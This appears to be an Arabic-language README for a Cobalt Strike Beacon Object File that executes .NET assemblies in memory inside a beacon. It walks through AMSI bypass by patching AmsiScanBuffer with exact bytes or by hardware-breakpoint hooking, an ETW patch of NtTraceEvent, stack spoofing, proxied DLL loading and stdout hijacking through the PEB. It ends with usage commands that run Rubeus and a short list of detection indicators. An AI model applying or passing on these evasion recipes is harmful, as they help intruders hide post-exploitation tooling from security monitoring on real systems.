
ملف Beacon Object File لـ Cobalt Strike ينفّذ تجميعات .NET داخل الـ beacon مع تقنيات مراوغة (evasion).
ملف كائن بيكن (Beacon Object File) لـ Cobalt Strike ينفّذ تجميعات .NET داخل البيكن مع تقنيات مراوغة.
┌──────────────────────────────────────────────────────────────────────────────┐
│ Cobalt Strike Beacon │
│ (Parent Process) │
└──────────────────────────────────┬───────────────────────────────────────────┘
│
│ beacon_inline_execute()
│ - Parse packed arguments
│ - Call go()
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ BOF Execute-Assembly Entry (go) │
│ ┌────────────────────────────────────────────────────────────────────────┐ │
│ │ Configuration Parsing │ │
│ │ • ProxyMethod (None/Draugr/Timer/RegWait) │ │
│ │ • AmsiEvasion (None/Patch/HWBP) │ │
│ │ • EtwEvasion (None/Patch) │ │
│ │ • PipeName, AppDomainName, Assembly bytes, Arguments │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ Framework Initialization │ │
│ │ • InitVxTable() - Resolve syscall numbers │ │
│ │ └─> NtProtectVirtualMemory, NtContinue, NtCreateEvent, │ │
│ │ NtSetEvent, NtWaitForSingleObject, NtClose │ │
│ │ • DraugrInit() - Setup synthetic stack frames │ │
│ │ └─> Locate RtlUserThreadStart, BaseThreadInitThunk │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ DLL Loading (ProxyLoadLibraryA) │ │
│ │ • amsi.dll, OleAut32.dll, mscoree.dll, User32.dll │ │
│ │ │ │
│ │ PROXY_NONE: LoadLibraryA() directly │ │
│ │ PROXY_DRAUGR: DRAUGR_API(LoadLibraryA) - spoofed stack │ │
│ │ PROXY_TIMER: CreateTimerQueue → Timer callback │ │
│ │ PROXY_REGWAIT: RegisterWaitForSingleObject → Event callback │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ AMSI Evasion Setup │ │
│ │ │ │
│ │ AMSI_PATCH: AMSI_HWBP: │ │
│ │ ┌─────────────────────────┐ ┌──────────────────────────────┐ │ │
│ │ │ 1. Backup 4 bytes │ │ 1. Add VEH Handler │ │ │
│ │ │ 2. NtProtectVirtualMem │ │ 2. RtlCaptureContext │ │ │
│ │ │ (RW) │ │ 3. Set DR0 = AmsiScanBuffer │ │ │
│ │ │ 3. Write: │ │ 4. Enable DR7 breakpoint │ │ │
│ │ │ 48 31 C0 xor rax,rax│ │ 5. NtContinue (apply ctx) │ │ │
│ │ │ C3 ret │ │ │ │ │
│ │ │ 4. NtProtectVirtualMem │ │ On AmsiScanBuffer call: │ │ │
│ │ │ (restore) │ │ → #BP Exception │ │ │
│ │ └─────────────────────────┘ │ → VEH redirects to RET │ │ │
│ │ │ → RAX = 0 │ │ │
│ │ └──────────────────────────────┘ │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ ETW Evasion (if enabled) │ │
│ │ • NtProtectVirtualMemory(NtTraceEvent, RW) │ │
│ │ • Backup 4 bytes │ │
│ │ • Write: 48 31 C0 C3 (xor rax,rax; ret) │ │
│ │ • NtProtectVirtualMemory(restore protection) │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ Output Redirection Setup │ │
│ │ ┌──────────────────────────────────────────────────────────────────┐ │ │
│ │ │ 1. CreateNamedPipeW(\\.\pipe\{CustomName}) → hPipe │ │ │
│ │ │ 2. CreateFileW(pipe path) → hFile │ │ │
│ │ │ 3. AllocConsole() + ShowWindow(SW_HIDE) → Hidden console │ │ │
│ │ │ │ │ │
│ │ │ 4. PEB Manipulation: │ │ │
│ │ │ • Backup: hCurrentStdOut = PEB->ProcessParameters->StdOut │ │ │
│ │ │ • Backup: hCurrentStdErr = PEB->ProcessParameters->StdErr │ │ │
│ │ │ • Redirect: PEB->StdOut = hFile │ │ │
│ │ │ • Redirect: PEB->StdErr = hFile │ │ │
│ │ └──────────────────────────────────────────────────────────────────┘ │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ CLR Hosting & Assembly Execution (ExecuteAssembly) │ │
│ │ ┌──────────────────────────────────────────────────────────────────┐ │ │
│ │ │ 1. CLR Version Detection │ │ │
│ │ │ • Scan assembly bytes for "v2.0.50727" or "v4.0.30319" │ │ │
│ │ │ │ │ │
│ │ │ 2. CLR Initialization │ │ │
│ │ │ • CLRCreateInstance → ICLRMetaHost │ │ │
│ │ │ • GetRuntime(v2/v4) → ICLRRuntimeInfo │ │ │
│ │ │ • GetInterface → ICorRuntimeHost │ │ │
│ │ │ • Start() │ │ │
│ │ │ │ │ │
│ │ │ 3. AppDomain Management │ │ │
│ │ │ • GetDefaultDomain() → Default AppDomain │ │ │
│ │ │ • CreateDomain(CustomName) → Isolated AppDomain │ │ │
│ │ │ │ │ │
│ │ │ 4. Assembly Loading │ │ │
│ │ │ • Create SAFEARRAY (VT_UI1) with assembly bytes │ │ │
│ │ │ • SafeArrayAccessData → Copy assembly to safe array │ │ │
│ │ │ • CustomAppDomain->Load_3(safearray) → Load in memory │ │ │
│ │ │ │ │ │
│ │ │ 5. Argument Preparation │ │ │
│ │ │ • Parse space-delimited arguments │ │ │
│ │ │ • Create SAFEARRAY(VT_BSTR) for each argument │ │ │
│ │ │ • Wrap in VARIANT structure │ │ │
│ │ │ │ │ │
│ │ │ 6. Execution │ │ │
│ │ │ • Assembly->EntryPoint() → Get Main() MethodInfo │ │ │
│ │ │ • MethodInfo->Invoke_3(arguments) → Execute │ │ │
│ │ │ └─> Assembly writes to Console │ │ │
│ │ │ └─> Redirected to hFile → Named Pipe │ │ │
│ │ │ │ │ │
│ │ │ 7. Cleanup │ │ │
│ │ │ • Release COM interfaces (MethodInfo, Assembly, etc.) │ │ │
│ │ │ • UnloadDomain(CustomAppDomain) → Full unload │ │ │
│ │ │ • FreeLibrary(mscoree.dll) │ │ │
│ │ └──────────────────────────────────────────────────────────────────┘ │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ Output Capture & Display │ │
│ │ • Restore PEB: StdOut/StdErr = original handles │ │
│ │ • Allocate buffer (0x10000 bytes) │ │
│ │ • ReadFile(hPipe) → Capture assembly output │ │
│ │ • BeaconPrintf(CALLBACK_OUTPUT, output) → Display to operator │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ Cleanup & Restoration │ │
│ │ • free(pAssemblyStdOut) │ │
│ │ • NtClose(hFile, hPipe) │ │
│ │ • FreeConsole() │ │
│ │ │ │
│ │ if (AMSI_PATCH): │ │
│ │ • RestoreAmsi() - Write original 4 bytes back │ │
│ │ │ │
│ │ if (AMSI_HWBP): │ │
│ │ • RemoveHwbp() - Clear debug registers │ │
│ │ • RemoveVectoredExceptionHandler(VehHandler) │ │
│ │ │ │
│ │ if (ETW_PATCH): │ │
│ │ • RestoreEtw() - Write original 4 bytes back │ │
│ │ │ │
│ │ • Restore PEB: StdOut/StdErr = original │ │
│ └────────────────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────────────────┘
│
│ Return to Beacon
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ Beacon continues execution │
│ (BOF memory cleaned up) │
└──────────────────────────────────────────────────────────────────────────────┘
| الطريقة | الوصف |
|---|---|
None | استدعاءات API مباشرة |
Draugr | استدعاءات API مع انتحال المكدس عبر Draugr |
| الطريقة | الوصف |
|---|---|
None | بدون تجاوز AMSI |
Patch | تصحيح ذاكرة لـ AMSI!AmsiScanBuffer (xor rax,rax; ret) |
HWBP | خطاف نقطة توقف عتادية على AMSI!AmsiScanBuffer عبر VEH |
| الطريقة | الوصف |
|---|---|
None | بدون تجاوز ETW |
Patch | تصحيح ذاكرة لـ NTDLL!NtTraceEvent (xor rax,rax; ret) |
| المعامل | الوصف | مثال |
|---|---|---|
| PipeName | اسم الأنبوب المُسمّى لالتقاط مخرجات التجميع | P1p3N4m3 |
| AppDomain | اسم نطاق تطبيق .NET مخصص لعزل التجميع | Tot4lL3g1t |
LoadLibraryA("amsi.dll") → Direct call
DRAUGR_API(LoadLibraryA, "amsi.dll")
│
├─ Synthetic Stack Construction
├─ Return Address Spoofing
└─ Indirect Execution
CreateTimerQueue() → CreateTimerQueueTimer(
callback = LoadLibraryA,
parameter = "amsi.dll",
dueTime = 100ms
) → Wait → DeleteTimerQueueEx()
CreateEvent() → RegisterWaitForSingleObject(
event,
callback = LoadLibraryA,
context = "amsi.dll"
) → SetEvent() → UnregisterWait()
Before Patch: After Patch:
AmsiScanBuffer: AmsiScanBuffer:
4C 8B DC mov r11, rsp 48 31 C0 xor rax, rax
49 89 5B 08 mov [r11+8], rbx C3 ret
... ...
Result: All scans return S_OK (clean)
الطريقة:
xor rax, rax; retSetup:
1. AddVectoredExceptionHandler
2. RtlCaptureContext
3. Set DR0 = AmsiScanBuffer address
4. Enable DR7 breakpoint flag
5. NtContinue (apply context)
Execution Flow:
AmsiScanBuffer called
│
▼
#BP Exception (EXCEPTION_SINGLE_STEP)
│
▼
VEH Handler intercepts
│
├─ Verify RIP == AmsiScanBuffer
├─ Set RIP = FindRetInstruction(AmsiScanBuffer)
├─ Set RAX = 0 (S_OK)
└─ Set TF (Trap Flag)
│
▼
Return with RAX=0
Before: After:
NtTraceEvent: NtTraceEvent:
4C 8B D1 mov r10, rcx 48 31 C0 xor rax, rax
B8 XX XX mov eax, syscall C3 ret
Standard Assembly (No BOF): BOF Execute-Assembly:
Assembly → Console.WriteLine 1. Create \\.\pipe\{name}
│ │
▼ ▼
Output lost 2. Open pipe as file handle
│
▼
3. Redirect PEB handles:
• StdOut → pipe
• StdErr → pipe
│
▼
4. Execute assembly
│
▼
5. ReadFile(pipe)
│
▼
6. BeaconPrintf → Operator
تغييرات حماية الذاكرة:
NtProtectVirtualMemory بمسار \\.\pipe\* مرئي لبرامج تشغيل minifilteramsi.dllntdll.dllالاكتشاف: تُعد تغييرات حماية الذاكرة على الوحدات المُحمَّلة مؤشرات قوية.
إنشاء الأنبوب المُسمّى:
NtCreateFile بمسار \\.\pipe\* مرئي لبرامج تشغيل minifilterتحميل الوحدات:
LdrLoadDll تُسجَّل بواسطة برامج تشغيل نواة EDRالتلاعب بسياق الخيط (طريقة HWBP):
AllocConsole + ShowWindow(SW_HIDE))Cobalt Strike → Script Manager → Load → BOF_ExecuteAssembly.cna
Menu: Additionals postex → Execute-Assembly Config

BOF_ExecuteAssembly --assembly /tmp/Ghostpack-CompiledBinaries/Rubeus.exe --args help

beacon> help BOF_ExecuteAssembl

باستخدام Dockerfile:
sudo docker build -t ubuntu-gcc-13 .
sudo docker run --rm -it -v "$PWD":/work -w /work ubuntu-gcc-13:latest make
أو، إذا كان لديك nasm وmake وmingw-w64 (متوافق مع gcc-13) على نظامك:
make
المخرجات: Bin/BOF_ExecuteAssembly.o
Regwait |
| تنفيذ رد اتصال RegisterWaitForSingleObject |
Timer | تنفيذ رد اتصال قائمة انتظار المؤقت |
| التقنية | ما يتم تجاوزه |
|---|
| استدعاءات النظام غير المباشرة | خطافات API في مساحة المستخدم (EDR/AV) |
| انتحال المكدس عبر Draugr | أدوات فحص مكدس الاستدعاءات |
| تصحيح AMSI / HWBP | فحص تجميعات .NET |
| تصحيح ETW | المراقبة القائمة على الأحداث |
| تحميل DLL عبر البروكسي | مراقبة إطار مكدس LoadLibrary |
| الأنبوب المُسمّى Malleable | مراقبة الأنابيب |
| نطاق تطبيق مخصص | مراقبة نطاق التطبيق الافتراضي |